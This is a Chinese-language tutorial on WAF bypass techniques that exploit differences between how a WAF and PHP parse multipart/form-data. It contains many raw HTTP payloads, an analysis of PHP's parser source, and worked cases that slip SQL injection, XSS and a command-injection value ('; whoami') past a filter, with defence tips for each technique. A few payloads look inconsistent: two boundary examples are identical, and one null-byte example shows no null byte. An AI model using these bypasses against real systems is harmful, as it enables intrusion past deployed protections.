multipart/form-data绕过技术详解

multipart/form-data协议基础

协议概述

multipart/form-data是HTTP协议中用于传输文件和复杂数据的一种编码方式,主要用于文件上传场景。它允许在单个HTTP请求中传输多个部分,每个部分可以包含不同类型的数据。

协议格式

标准格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 200

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

This is file content
------WebKitFormBoundary7MA4YWxkTrZu0gW--

关键要素

Content-Type头部:必须指定multipart/form-data,必须指定boundary分隔符,boundary不能出现在内容中

boundary分隔符:用于分隔不同的数据部分,以--开头,最后以--结尾

每个部分的头部:Content-Disposition描述数据的用途,name参数名称,filename文件名(可选),Content-Type内容类型(可选)

PHP解析机制

解析流程

PHP对multipart/form-data的解析过程如下:

  1. 读取boundary:从Content-Type头部提取boundary,去除前后的空白字符
  2. 分割数据:根据boundary分割请求体,提取每个部分的内容
  3. 解析头部:解析每个部分的Content-Disposition,判断是POST参数还是文件上传
  4. 填充超全局变量:有filename填充$_FILES,无filename填充$_POST

关键判断逻辑

PHP判断一个part是POST参数还是文件上传的关键在于:

1
2
3
4
5
6
// PHP源码简化逻辑
if (strstr(content_disposition, "filename=")) {
// 填充到$_FILES数组
} else {
// 填充到$_POST数组
}

关键点:filename=这9个字符必须完整存在,缺一不可。

WAF解析机制

WAF的解析方式

WAF在解析multipart/form-data时,通常采用以下方式:

  1. 简单解析:只解析基本的multipart格式,不处理复杂的边界情况
  2. 正则匹配:使用正则表达式提取参数,可能遗漏特殊格式
  3. 部分解析:只解析部分内容,可能忽略某些字段

常见解析差异

WAF与PHP在解析multipart/form-data时存在以下差异:

  1. boundary处理:WAF可能严格按boundary分割,PHP可能更宽松地处理boundary
  2. 特殊字符处理:WAF可能过滤某些特殊字符,PHP可能保留这些字符
  3. 编码处理:WAF可能不进行URL解码,PHP可能自动解码
  4. 空格和换行处理:WAF可能严格处理空格和换行,PHP可能更宽松

入门级绕过技术

0x00截断filename

在filename之前加入0x00字符,WAF在检测前会删除HTTP协议中的0x00,导致WAF认为这是含有filename的普通上传,而后端PHP则认为是POST参数。

Payload示例

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="id"; filename=test.txt

alert(1)
------WebKitFormBoundary--

绕过效果WAF认为是文件上传,不检测内容;PHP识别为POST参数id,值为alert(1)

防御要点保留0x00字符进行检测,统一特殊字符处理逻辑

双写上传描述行

双写Content-Disposition行,一些WAF会取第二行,而实际PHP会获取第一行。

Payload示例

1
2
3
4
5
6
7
8
9
10
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="id"
Content-Disposition: form-data; name="id"; filename=test.txt

alert(1)
------WebKitFormBoundary--

绕过效果WAF读取第二行,认为是文件上传;PHP读取第一行,识别为POST参数

防御要点处理重复字段时采用统一策略,警惕重复的Content-Disposition

双写整个part开头部分

双写整个part的开头部分,包括boundary和Content-Disposition。

Payload示例

1
2
3
4
5
6
7
8
9
10
11
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="id"
------WebKitFormBoundary
Content-Disposition: form-data; name="id"; filename=test.txt

alert(1)
------WebKitFormBoundary--

绕过效果WAF识别为文件上传;PHP识别为POST参数,但前面会引入垃圾数据

防御要点规范化处理重复的part,检测异常的part结构

构造假的part部分1

构造一个假的part部分,干扰WAF的解析。

Payload示例

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="fake"; filename=fake.txt

fake content
------WebKitFormBoundary
Content-Disposition: form-data; name="id"

alert(1)
------WebKitFormBoundary--

绕过效果WAF被假part干扰,可能忽略后面的真实参数;PHP正确解析所有参数

防御要点完整解析所有part,不被假part干扰

构造假的part部分2

构造一个更简洁的假part,减少垃圾数据。

Payload示例

1
2
3
4
5
6
7
8
9
10
11
12
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="fake"; filename=fake.txt

------WebKitFormBoundary
Content-Disposition: form-data; name="id"

alert(1)
------WebKitFormBoundary--

绕过效果WAF识别为文件上传;PHP识别为POST参数,数据更纯净

防御要点检测空的文件内容,验证文件上传的合理性

两个boundary

在Content-Type中指定两个boundary,PHP只使用第一个。

Payload示例

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=a; boundary=b

--a
Content-Disposition: form-data; name="id"

alert(1)
--a--

绕过效果WAF可能使用第二个boundary解析;PHP使用第一个boundary解析

防御要点只使用第一个boundary,警惕多个boundary的情况

两个Content-Type

在请求中指定两个Content-Type头部。

Payload示例

1
2
3
4
5
6
7
8
9
10
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=a
Content-Type: application/x-www-form-urlencoded

--a
Content-Disposition: form-data; name="id"

alert(1)
--a--

绕过效果WAF可能使用第二个Content-Type;PHP使用第一个Content-Type

防御要点统一处理多个Content-Type,使用第一个有效的Content-Type

空boundary

使用空的boundary,注意是空字符串而不是分号。

Payload示例

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=

--
Content-Disposition: form-data; name="id"

alert(1)
----

绕过效果WAF可能无法正确解析;PHP可能正确解析

防御要点验证boundary的有效性,拒绝空的boundary

空格boundary

使用空格作为boundary。

Payload示例

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=

--
Content-Disposition: form-data; name="id"

alert(1)
----

绕过效果WAF可能无法正确处理空格boundary;PHP可能正确处理

防御要点规范化boundary,拒绝仅包含空格的boundary

boundary中的逗号

在boundary中使用逗号,PHP遇到逗号就结束boundary。

Payload示例

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=a,b

--a
Content-Disposition: form-data; name="id"

alert(1)
--a--

绕过效果WAF可能使用完整的a,b作为boundary;PHP只使用a作为boundary

防御要点正确处理boundary中的特殊字符,与后端保持一致的解析逻辑

进阶绕过技术

0x00截断进阶

在适当的位置加入0x00、空格和\t,破坏第一行,让PHP以第二行为主。

Payload示例

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition\x00: form-data; name="id"; filename=test.txt

alert(1)
------WebKitFormBoundary--

绕过效果WAF第一行被0x00破坏,读取第二行;PHP第一行被破坏,读取第二行

可以在以下位置插入特殊字符:Content-Disposition之前、name字段之前、filename字段之前、参数值之前

防御要点处理特殊字符,统一解析逻辑

boundary进阶

在boundary名称前后加入任意内容。

Payload示例

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=prefix----WebKitFormBoundarysuffix

--prefix----WebKitFormBoundarysuffix
Content-Disposition: form-data; name="id"

alert(1)
--prefix----WebKitFormBoundarysuffix--

绕过效果WAF可能严格按boundary取值;PHP可能正确处理带前后缀的boundary

Content-Type中的空格

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data ; boundary=----WebKitFormBoundary

-- ----WebKitFormBoundary
Content-Disposition: form-data; name="id"

alert(1)
-- ----WebKitFormBoundary--

防御要点正确提取boundary,处理boundary周围的空格

单双引号混合进阶

Content-Disposition中的字段可以使用单引号或双引号。

Payload示例

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name='id'

alert(1)
------WebKitFormBoundary--

绕过效果WAF可能只处理双引号;PHP正确处理单引号

混合使用

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="id"; filename='test.txt'

alert(1)
------WebKitFormBoundary--

防御要点统一处理单双引号,规范化引号使用

urlencoded伪装成为multipart

实际上是urlencoded格式,但伪装成multipart格式,通过&来截取前后装饰部分。

Payload示例

1
2
3
4
5
6
7
8
9
10
11
12
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="fake"; filename=fake.txt

------WebKitFormBoundary
Content-Disposition: form-data; name="id"

&id=alert(1)&
------WebKitFormBoundary--

绕过效果WAF不进行URL解码,认为内容安全;PHP可能进行URL解码,执行攻击

防御要点根据实际格式进行解码,不依赖单一格式判断

源码级绕过技术

skip_upload进阶1

利用PHP源码中的skip_upload逻辑,通过构造不成对的中括号来触发skip_upload。

PHP源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// php-5.3.3/main/rfc1867.c line: 991
if (!skip_upload) {
char *tmp = param;
long c = 0;
while (*tmp) {
if (*tmp == '[') {
c++;
} else if (*tmp == ']') {
c--;
if (tmp[1] && tmp[1] != '[') {
skip_upload = 1;
break;
}
}
if (c < 0) {
skip_upload = 1;
break;
}
tmp++;
}
}

逻辑说明遇到[,计数器c加1;遇到],计数器c减1;如果c小于0,设置skip_upload为1

Payload示例

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="f]"; filename=test.txt

alert(1)
------WebKitFormBoundary--

绕过效果WAF认为是文件上传;PHP触发skip_upload,识别为POST参数

其他变体

1
2
3
4
5
6
7
8
# 多个不成对的中括号
name="f]]"

# 前面有不成对的]
name="f]a"

# 复杂的中括号组合
name="f[a]]"

防御要点复现PHP的解析逻辑,检测异常的中括号组合

skip_upload进阶2

利用PHP的max_file_uploads限制,通过构造超过20个文件上传来触发skip_upload。

PHP源码分析

1
2
3
4
5
6
7
// php-5.3.3/main/rfc1867.c line: 909
if (!PG(file_uploads)) {
skip_upload = 1;
} else if (upload_cnt <= 0) {
skip_upload = 1;
sapi_module.sapi_error(E_WARNING, "Maximum number of allowable file uploads has been exceeded");
}

关键点:PHP 5.2.12+有一个隐藏的max_file_uploads设置,默认值为20,超过20个文件上传会触发skip_upload

Payload示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=a

--a
Content-Disposition: form-data; name="a"; filename="1.png"
Content-Type: image/png

a
--a
Content-Disposition: form-data; name="b"; filename="1.png"
Content-Type: image/png

b
--a
[... 重复18个类似的part ...]
--a
Content-Disposition: form-data; name="t"; filename="1.png"
Content-Type: image/png

b
--a
Content-Disposition: form-data; name="id"; filename="1.png"
Content-Type: image/png

--a
Content-Disposition: form-data; name="id"

alert(1)
--a--

绕过效果WAF前20个part被认为是文件上传,第21个part也被认为是文件上传;PHP前20个part填满了max_file_uploads,第21个part触发skip_upload,识别为POST参数

防御要点处理max_file_uploads限制,检测异常的大量文件上传

实战案例

SQL注入绕过

场景

目标URL: http://example.com/search.php

正常请求:

1
2
3
4
POST /search.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

keyword=test

WAF拦截

恶意请求被拦截:

1
2
3
4
POST /search.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

keyword=' OR 1=1--

绕过方法

使用multipart/form-data:

1
2
3
4
5
6
7
8
POST /search.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="keyword"; filename=test.txt

' OR 1=1--
------WebKitFormBoundary--

防御建议对multipart/form-data的参数进行同样的检测,不依赖单一Content-Type进行检测

XSS绕过

场景

目标URL: http://example.com/comment.php

正常请求:

1
2
3
4
POST /comment.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

comment=test

WAF拦截

恶意请求被拦截:

1
2
3
4
POST /comment.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

comment=<script>alert(1)</script>

绕过方法

使用0x00截断:

1
2
3
4
5
6
7
8
POST /comment.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="comment"; filename=test.txt

<script>alert(1)</script>
------WebKitFormBoundary--

防御建议对文件上传内容也进行XSS检测,统一处理所有输入

命令注入绕过

场景

目标URL: http://example.com/ping.php

正常请求:

1
2
3
4
POST /ping.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ip=127.0.0.1

WAF拦截

恶意请求被拦截:

1
2
3
4
POST /ping.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ip=127.0.0.1; whoami

绕过方法

使用skip_upload:

1
2
3
4
5
6
7
8
POST /ping.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="ip]"; filename=test.txt

127.0.0.1; whoami
------WebKitFormBoundary--

防御建议对所有参数进行严格的输入验证,使用白名单而非黑名单

防御建议

WAF防御要点

  1. 统一解析逻辑:与后端保持一致的解析逻辑,复现后端的解析过程
  2. 全面检测:不依赖单一Content-Type,对所有输入进行检测
  3. 特殊字符处理:保留特殊字符进行检测,统一特殊字符处理逻辑
  4. 异常检测:检测异常的multipart格式,警惕重复字段和异常结构

最佳实践

  1. 多层防御:网络层、应用层、业务层多层检测,不依赖单一防御手段
  2. 持续更新:更新检测规则,学习新型绕过技术
  3. 测试验证:定期进行渗透测试,验证防御效果
  4. 监控告警:监控异常请求,及时响应安全事件

总结

multipart/form-data绕过技术的核心在于利用WAF与后端解析逻辑的差异。通过构造特殊的multipart格式,可以让WAF误判请求的性质,从而绕过检测。

关键要点

理解协议:深入理解multipart/form-data协议,了解PHP的解析机制

发现差异:找出WAF与后端的解析差异,利用差异进行绕过

构造Payload:精心构造特殊的multipart格式,测试绕过效果

持续对抗:WAF不断更新防御规则,攻击者不断寻找新的绕过方法

防御与对抗

WAF绕过是一个持续的对抗过程,防御者需要不断学习和更新,才能有效防御各种绕过技术。